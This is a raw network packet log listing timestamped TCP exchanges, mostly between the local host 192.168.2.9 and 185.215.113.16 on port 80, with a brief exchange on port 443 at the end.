Nov 20, 2024 16:51:09.797481060 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.797528028 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.798530102 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.798614025 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.798856020 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.798918009 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.799853086 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.799870014 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.799909115 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.801182985 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.801286936 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.801350117 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.801395893 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.802252054 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.802310944 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.802414894 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.802469015 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.803544998 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.803594112 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.803710938 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.803771019 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.804542065 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.804589987 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.805068970 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.805144072 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.805725098 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.805779934 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.805902004 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.805946112 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.806981087 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.807085037 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.807632923 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.807732105 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.808314085 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.808489084 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.808536053 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.808536053 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.809367895 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.809438944 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.810224056 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.810390949 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.810758114 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.810770988 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.810818911 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.810945034 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.810956955 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.811005116 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.813209057 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.813321114 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.813550949 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.813944101 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.814182997 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.814250946 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.814423084 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.814534903 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.815584898 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.815654039 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.815896988 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.815946102 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.816642046 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.816775084 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.816806078 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.816889048 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.817975998 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.818082094 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.818486929 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.818545103 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.819186926 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.819273949 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.819330931 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.819379091 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.820247889 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.820307970 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.820557117 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.820630074 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.821382999 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.821449995 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.821718931 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.821934938 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.822670937 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.822758913 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.823007107 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.823065996 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.823853016 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.823915958 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.823995113 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.824135065 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.825218916 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.825274944 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.825284958 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.825351954 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.826246023 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.826339960 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.826402903 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.826447964 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.827433109 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.827681065 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.827742100 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.827795029 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.828778028 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.828792095 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.828864098 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.829933882 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.829946041 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.829973936 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.829999924 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.831103086 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.831115961 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.831162930 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.831387997 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.831401110 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.831413984 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.831424952 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.831469059 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.831499100 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.831990957 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.832051992 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.832592964 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.832756996 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.833252907 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.833265066 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.833326101 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.834570885 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.834628105 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.834650993 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.834682941 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.835881948 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.835942030 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.836544991 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.836607933 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.836790085 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.836858034 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.977868080 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.977965117 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.978017092 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.978172064 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.978209019 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.978293896 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.978333950 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.978389025 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.978512049 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.978571892 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.978585005 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.978596926 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.978599072 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.978626013 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.978626013 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.978642941 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.979120016 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.979167938 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.979268074 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.979335070 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.980323076 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.980427027 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.980514050 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.980514050 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.981508017 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.981559038 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.981650114 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.981697083 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.982686996 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.982831955 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.982920885 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.983860016 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.983954906 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.984134912 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.984206915 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.985094070 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.985188961 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.985234022 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.985234022 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.986335039 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.986443043 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.986488104 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.986552954 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.987759113 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.987773895 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.987833977 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.988636971 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.988678932 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.988704920 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.988742113 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.989866018 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.989927053 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.989960909 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.989960909 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.991271973 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.991295099 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.991338015 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.991338015 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.992209911 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.992326975 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.992607117 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.992659092 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.993421078 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.993587017 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.993688107 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.993736029 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.994597912 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.994687080 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.994745970 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.995793104 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.995861053 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.996001959 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.996078968 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.996972084 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.997033119 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.997179985 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.997303963 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.998213053 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.998275042 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.998423100 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.998490095 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.999528885 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.999671936 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.999706030 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.999852896 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.000581980 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.000638962 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.000653982 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.000732899 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.001753092 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.001827002 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.002120972 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.002171993 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.002996922 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.003091097 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.003145933 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.003338099 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.004442930 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.004570007 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.004658937 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.004749060 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.005407095 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.005486012 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.005516052 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.005575895 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.006572962 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.006628990 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.006767035 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.006834030 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.007791042 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.007889986 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.007929087 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.008030891 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.008943081 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.009069920 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.009195089 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.009260893 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.010138988 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.010262966 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.011087894 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.011305094 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.011344910 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.011390924 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.011727095 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.011794090 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.012593031 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.012666941 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.012958050 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.013010025 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.013704062 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.013847113 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.013988018 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.014044046 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.014892101 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.015007019 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.015085936 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.015280008 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.016072989 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.016128063 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.016205072 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.016290903 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.017265081 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.017399073 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.017793894 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.017889977 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.018538952 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.018551111 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.018599033 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.019675970 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.019798040 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.020395041 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.020448923 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.020838022 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.020886898 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.021008015 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.021055937 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.022023916 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.022095919 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.022206068 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.023231030 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.023320913 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.023355961 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.023402929 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.024430037 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.024523020 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.024928093 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.025007010 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.025628090 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.025732040 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.025794983 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.025975943 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.027110100 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.027275085 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.027828932 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.027883053 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.028075933 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.028089046 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.028140068 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.029266119 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.029328108 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.029515028 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.029578924 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.030534983 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.030548096 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.030668020 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.031872034 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.031928062 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.032670021 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.032721996 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.032876968 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.032891035 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.032932997 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.034044981 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.034096003 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.035115004 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.035188913 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.035211086 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.035223961 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.035265923 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.035265923 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.036344051 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.036403894 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.036990881 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.037043095 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.038194895 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.038253069 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.092183113 CET	49786	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:51:10.092233896 CET	443	49786	172.64.41.3	192.168.2.9
